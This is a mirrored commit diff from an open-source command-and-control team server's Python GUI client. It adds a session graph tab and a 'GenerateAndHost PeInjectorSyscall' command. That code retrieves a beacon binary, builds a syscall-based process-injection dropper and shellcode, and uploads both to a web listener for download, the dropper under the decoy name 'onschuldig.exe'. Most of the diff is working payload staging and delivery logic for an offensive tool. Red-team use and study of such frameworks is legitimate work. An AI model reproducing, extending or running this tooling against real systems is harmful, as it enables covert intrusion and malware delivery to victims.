mirror of
https://github.com/maxDcb/C2TeamServer
synced 2026-06-06 16:14:27 +00:00
Maj
This commit is contained in:
+41
-25
@@ -11,12 +11,14 @@ from ListenerPanel import *
|
||||
from SessionPanel import *
|
||||
from ConsolePanel import *
|
||||
from PayloadPanel import *
|
||||
from GraphPanel import *
|
||||
|
||||
import qdarktheme
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, signal.SIG_DFL)
|
||||
|
||||
|
||||
class App(QMainWindow):
|
||||
|
||||
def __init__(self, ip, port, devMode):
|
||||
@@ -24,6 +26,7 @@ class App(QMainWindow):
|
||||
|
||||
self.ip = ip
|
||||
self.port = port
|
||||
self.devMode = devMode
|
||||
|
||||
self.createPayloadWindow = None
|
||||
|
||||
@@ -38,47 +41,60 @@ class App(QMainWindow):
|
||||
central_widget = QWidget()
|
||||
self.setCentralWidget(central_widget)
|
||||
|
||||
self.m_w11 = QWidget()
|
||||
self.m_w12 = QWidget()
|
||||
self.m_w21 = QWidget()
|
||||
|
||||
config_button = QPushButton("Payload")
|
||||
config_button.clicked.connect(self.payloadForm)
|
||||
|
||||
lay = QGridLayout(central_widget)
|
||||
lay.setRowStretch(1, 3)
|
||||
lay.setRowStretch(2, 7)
|
||||
# TODO complet PayloadPanel
|
||||
# row: int, column: int, rowSpan: int, columnSpan: int, alignment
|
||||
#lay.addWidget(config_button, 0, 0, 1, 1)
|
||||
lay.addWidget(self.m_w11, 1, 0, 1, 1)
|
||||
lay.addWidget(self.m_w12, 1, 1, 1, 1)
|
||||
lay.addWidget(self.m_w21, 2, 0, 1, 2)
|
||||
self.mainLayout = QGridLayout(central_widget)
|
||||
self.mainLayout.setContentsMargins(0, 0, 0, 0)
|
||||
self.mainLayout.setRowStretch(1, 3)
|
||||
self.mainLayout.setRowStretch(2, 7)
|
||||
|
||||
lay = QVBoxLayout(self.m_w11)
|
||||
sessionsWidget = Sessions(self, ip, port, devMode)
|
||||
lay.addWidget(sessionsWidget)
|
||||
self.topLayout()
|
||||
self.botLayout()
|
||||
|
||||
lay = QVBoxLayout(self.m_w12)
|
||||
listenersWidget = Listeners(self, ip, port, devMode)
|
||||
lay.addWidget(listenersWidget)
|
||||
|
||||
lay = QVBoxLayout(self.m_w21)
|
||||
consoleWidget = ConsolesTab(self, ip, port, devMode)
|
||||
lay.addWidget(consoleWidget)
|
||||
|
||||
sessionsWidget.interactWithSession.connect(consoleWidget.addConsole)
|
||||
self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole)
|
||||
|
||||
self.show()
|
||||
|
||||
|
||||
def topLayout(self):
|
||||
|
||||
self.topWidget = QTabWidget()
|
||||
|
||||
self.m_main = QWidget()
|
||||
|
||||
self.m_main.layout = QHBoxLayout(self.m_main)
|
||||
self.m_main.layout.setContentsMargins(0, 0, 0, 0)
|
||||
self.sessionsWidget = Sessions(self, self.ip, self.port, self.devMode)
|
||||
self.m_main.layout.addWidget(self.sessionsWidget)
|
||||
self.listenersWidget = Listeners(self, self.ip, self.port, self.devMode)
|
||||
self.m_main.layout.addWidget( self.listenersWidget)
|
||||
|
||||
self.topWidget.addTab(self.m_main, "Main")
|
||||
|
||||
self.graphWidget = Graph(self, self.ip, self.port, self.devMode)
|
||||
|
||||
self.topWidget.addTab(self.graphWidget, "Graph")
|
||||
|
||||
self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1)
|
||||
|
||||
|
||||
def botLayout(self):
|
||||
|
||||
self.consoleWidget = ConsolesTab(self, self.ip, self.port, self.devMode)
|
||||
self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2)
|
||||
|
||||
|
||||
def __del__(self):
|
||||
print("Exit")
|
||||
|
||||
|
||||
def payloadForm(self):
|
||||
if self.createPayloadWindow is None:
|
||||
self.createPayloadWindow = CreatePayload()
|
||||
self.createPayloadWindow.show()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
parser = argparse.ArgumentParser(description='TeamServer IP and port.')
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
from threading import Thread, Lock
|
||||
from PyQt5.QtWidgets import *
|
||||
from PyQt5.QtGui import *
|
||||
from PyQt5.QtCore import *
|
||||
from PyQt5.QtGui import QPixmap, QTransform
|
||||
|
||||
from grpcClient import *
|
||||
|
||||
|
||||
# https://www.pythonguis.com/tutorials/pyqt-qgraphics-vector-graphics/
|
||||
# https://github.com/HavocFramework/Havoc/blob/a3f36e843b4df7f7f9124c68e61c137811c87ee5/client/include/UserInterface/Widgets/SessionGraph.hpp#L87
|
||||
class Graph(QWidget):
|
||||
|
||||
def __init__(self, parent, ip, port, devMode):
|
||||
super(QWidget, self).__init__(parent)
|
||||
|
||||
width = self.frameGeometry().width()
|
||||
height = self.frameGeometry().height()
|
||||
|
||||
print("width", width)
|
||||
print("height", height)
|
||||
|
||||
self.ip = ip
|
||||
self.port = port
|
||||
self.grpcClient = GrpcClient(ip, port, devMode)
|
||||
|
||||
self.scene = QGraphicsScene()
|
||||
|
||||
for x in range(0,500,50):
|
||||
self.scene.addLine(x, 0, x, 500)
|
||||
for y in range(0,500,50):
|
||||
self.scene.addLine(0, y, 500, y)
|
||||
|
||||
pixmap = QPixmap("firewall.png")
|
||||
pixmap = pixmap.scaled(64, 64)
|
||||
pixmapitem = self.scene.addPixmap(pixmap)
|
||||
pixmapitem.setPos(100, 50 );
|
||||
|
||||
# pixmap = QPixmap("pc2.png")
|
||||
# pixmap = pixmap.scaled(64, 64)
|
||||
# pixmapitem = self.scene.addPixmap(pixmap)
|
||||
# pixmapitem.setPos(250, 70)
|
||||
|
||||
self.view = QGraphicsView(self.scene)
|
||||
self.view.setRenderHint(QPainter.Antialiasing)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
self.view._scene_rect = None
|
||||
self.view._scene_transform = None
|
||||
self.view._start_point = None
|
||||
|
||||
self.view.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
|
||||
self.view.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
|
||||
self.view.setRenderHint(QPainter.Antialiasing)
|
||||
self.view.setMouseTracking(True)
|
||||
self.view.setTransformationAnchor(self.view.NoAnchor)
|
||||
self.view.setResizeAnchor(self.view.NoAnchor)
|
||||
|
||||
|
||||
transform = QTransform()
|
||||
center = self.view.mapToScene(self.view.viewport().rect().center())
|
||||
transform.translate(center.x(), center.y())
|
||||
transform.scale(1 , 1 )
|
||||
transform.translate(-center.x(), -center.y())
|
||||
|
||||
self.view.setTransform(transform)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Set all items as moveable and selectable.
|
||||
for item in self.scene.items():
|
||||
item.setFlag(QGraphicsItem.ItemIsMovable)
|
||||
item.setFlag(QGraphicsItem.ItemIsSelectable)
|
||||
|
||||
self.vbox = QVBoxLayout()
|
||||
self.vbox.setContentsMargins(0, 0, 0, 0)
|
||||
self.vbox.addWidget(self.view)
|
||||
|
||||
self.setLayout(self.vbox)
|
||||
|
||||
|
||||
# Thread to get listeners every second
|
||||
# https://realpython.com/python-pyqt-qthread/
|
||||
self.thread = QThread()
|
||||
self.getGraphInfoWorker = GetGraphInfoWorker()
|
||||
self.getGraphInfoWorker.moveToThread(self.thread)
|
||||
self.thread.started.connect(self.getGraphInfoWorker.run)
|
||||
self.getGraphInfoWorker.checkin.connect(self.updateGraph)
|
||||
self.thread.start()
|
||||
|
||||
|
||||
def __del__(self):
|
||||
self.getGraphInfoWorker.quit()
|
||||
self.thread.quit()
|
||||
self.thread.wait()
|
||||
|
||||
|
||||
# query the server to get the list of listeners
|
||||
def updateGraph(self):
|
||||
listeners = self.grpcClient.getListeners()
|
||||
|
||||
sessions = self.grpcClient.getSessions()
|
||||
|
||||
# pixmap = QPixmap("pc.png")
|
||||
# pixmap = pixmap.scaled(64, 64)
|
||||
# pixmapitem = self.scene.addPixmap(pixmap)
|
||||
# # pixmapitem.setPos(250, 70)
|
||||
|
||||
# # Set all items as moveable and selectable.
|
||||
# for item in self.scene.items():
|
||||
# item.setFlag(QGraphicsItem.ItemIsMovable)
|
||||
# item.setFlag(QGraphicsItem.ItemIsSelectable)
|
||||
|
||||
|
||||
class GetGraphInfoWorker(QObject):
|
||||
checkin = pyqtSignal()
|
||||
|
||||
exit=False
|
||||
|
||||
def run(self):
|
||||
while self.exit==False:
|
||||
self.checkin.emit()
|
||||
time.sleep(1)
|
||||
|
||||
def quit(self):
|
||||
self.exit=True
|
||||
|
||||
+176
-6
@@ -17,6 +17,11 @@ import GeneratePowershellLauncher
|
||||
sys.path.insert(1, './PeDropper/')
|
||||
import GenerateDropperBinary
|
||||
|
||||
if os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')):
|
||||
sys.path.insert(1, './PeInjectorSyscall/')
|
||||
import GenerateInjector
|
||||
|
||||
|
||||
|
||||
class Terminal(QWidget):
|
||||
tabPressed = pyqtSignal()
|
||||
@@ -25,6 +30,7 @@ class Terminal(QWidget):
|
||||
def __init__(self, parent, ip, port, devMode):
|
||||
super(QWidget, self).__init__(parent)
|
||||
self.layout = QVBoxLayout(self)
|
||||
self.layout.setContentsMargins(0, 0, 0, 0)
|
||||
|
||||
self.grpcClient = GrpcClient(ip, port, devMode)
|
||||
|
||||
@@ -39,11 +45,6 @@ class Terminal(QWidget):
|
||||
self.layout.addWidget(self.commandEditor, 2)
|
||||
self.commandEditor.returnPressed.connect(self.runCommand)
|
||||
|
||||
|
||||
def __del__(self):
|
||||
self.thread.quit()
|
||||
self.thread.wait()
|
||||
|
||||
def nextCompletion(self):
|
||||
index = self._compl.currentIndex()
|
||||
self._compl.popup().setCurrentIndex(index)
|
||||
@@ -297,7 +298,8 @@ exemple:
|
||||
helpMsg = """GenerateAndHost:
|
||||
GenerateAndHost generate a playload that is store on the teamserver to be downloaded by a web request from a web listener (http/https):
|
||||
exemple:
|
||||
- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash"""
|
||||
- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash
|
||||
- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash"""
|
||||
|
||||
line = '\n' + helpMsg + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
@@ -329,6 +331,32 @@ exemple:
|
||||
listenerDownload = listenerBeacon
|
||||
|
||||
self.GenerateAndHostPowershellWebDelivery(commandLine, listenerDownload, listenerBeacon)
|
||||
|
||||
if mode == "PeInjectorSyscall":
|
||||
if len(instructions) < 4:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
helpMsg = """GenerateAndHost PeInjectorSyscall:
|
||||
Generate a ....
|
||||
exemple:
|
||||
- GenerateAndHost PeInjectorSyscall processToInject listenerHash
|
||||
- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash"""
|
||||
|
||||
line = '\n' + helpMsg + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return;
|
||||
|
||||
# should take 2 listeners:
|
||||
# the http/https listener to download the payload from
|
||||
# one listner for the beacon to connect to
|
||||
processToInject = instructions[2]
|
||||
listenerBeacon = instructions[3]
|
||||
if len(instructions) >= 5:
|
||||
listenerDownload = instructions[4]
|
||||
else:
|
||||
listenerDownload = listenerBeacon
|
||||
|
||||
self.GenerateAndHostPeInjectorSyscall(commandLine, listenerDownload, listenerBeacon, processToInject)
|
||||
|
||||
else:
|
||||
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
@@ -460,6 +488,147 @@ exemple:
|
||||
self.editorOutput.insertPlainText(line)
|
||||
|
||||
|
||||
# Implementation de GenerateAndHost PeInjectorSyscall
|
||||
def GenerateAndHostPeInjectorSyscall(self, commandLine, listenerDownload, listenerBeacon, processToInject):
|
||||
commandTeamServer = "infoListener "+listenerDownload
|
||||
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
|
||||
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
|
||||
|
||||
result = resultTermCommand.result
|
||||
if "Error" in result:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
results = result.split("\n")
|
||||
if len(results)<4:
|
||||
return
|
||||
|
||||
schemeDownload = results[0]
|
||||
ipDownload = results[1]
|
||||
portDownload = results[2]
|
||||
downloadPath = results[3]
|
||||
if not downloadPath:
|
||||
error = "Error: Download listener must be of type http or https."
|
||||
self.editorOutput.insertPlainText(error)
|
||||
return
|
||||
|
||||
if downloadPath[0]=="/":
|
||||
downloadPath = downloadPath[1:]
|
||||
|
||||
if listenerBeacon != listenerDownload:
|
||||
commandTeamServer = "infoListener "+listenerBeacon
|
||||
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
|
||||
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
|
||||
|
||||
result = resultTermCommand.result
|
||||
if "Error" in result:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
results = result.split("\n")
|
||||
if len(results)<4:
|
||||
return
|
||||
|
||||
scheme = results[0]
|
||||
ip = results[1]
|
||||
port = results[2]
|
||||
else:
|
||||
scheme=schemeDownload
|
||||
ip=ipDownload
|
||||
port=portDownload
|
||||
|
||||
commandTeamServer = "getBeaconBinary "+listenerBeacon
|
||||
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
|
||||
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
|
||||
|
||||
result = resultTermCommand.result
|
||||
if "Error" in result:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
print("Beacon size", len(resultTermCommand.data))
|
||||
beaconFilePath = "./BeaconHttp.exe"
|
||||
beaconFile = open(beaconFilePath, "wb")
|
||||
beaconFile.write(resultTermCommand.data)
|
||||
|
||||
beaconArg = ip+" "+port
|
||||
if scheme=="http" or scheme=="https":
|
||||
beaconArg = beaconArg+" "+scheme
|
||||
|
||||
# Generate the 2 files
|
||||
process = processToInject
|
||||
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15))
|
||||
urlStage = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + filename
|
||||
|
||||
if not os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')):
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + "PeInjectorSyscall module not found" + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
dropperExePath, shellcodePath = GenerateInjector.generatePayloads(beaconFilePath, beaconArg, "", process, urlStage)
|
||||
|
||||
# Upload the file and get the path
|
||||
try:
|
||||
with open(dropperExePath, mode='rb') as fileDesc:
|
||||
payload = fileDesc.read()
|
||||
except IOError:
|
||||
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + "Error: File does not appear to exist." + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+"onschuldig.exe"
|
||||
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload)
|
||||
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
|
||||
|
||||
result = resultTermCommand.result
|
||||
if "Error" in result:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
try:
|
||||
with open(shellcodePath, mode='rb') as fileDesc:
|
||||
payload = fileDesc.read()
|
||||
except IOError:
|
||||
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + "Error: File does not appear to exist." + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+filename
|
||||
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload)
|
||||
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
|
||||
|
||||
result = resultTermCommand.result
|
||||
if "Error" in result:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return
|
||||
|
||||
result = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + "onschuldig.exe"
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
line = '\n' + result + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
|
||||
def setCursorEditorAtEnd(self):
|
||||
cursor = self.editorOutput.textCursor()
|
||||
cursor.movePosition(QTextCursor.End,)
|
||||
@@ -543,6 +712,7 @@ completerData = [
|
||||
]),
|
||||
('GenerateAndHost',[
|
||||
('PowershellWebDelivery',[]),
|
||||
('PeInjectorSyscall',[]),
|
||||
]),
|
||||
]
|
||||
|
||||
|
||||
Reference in New Issue
Block a user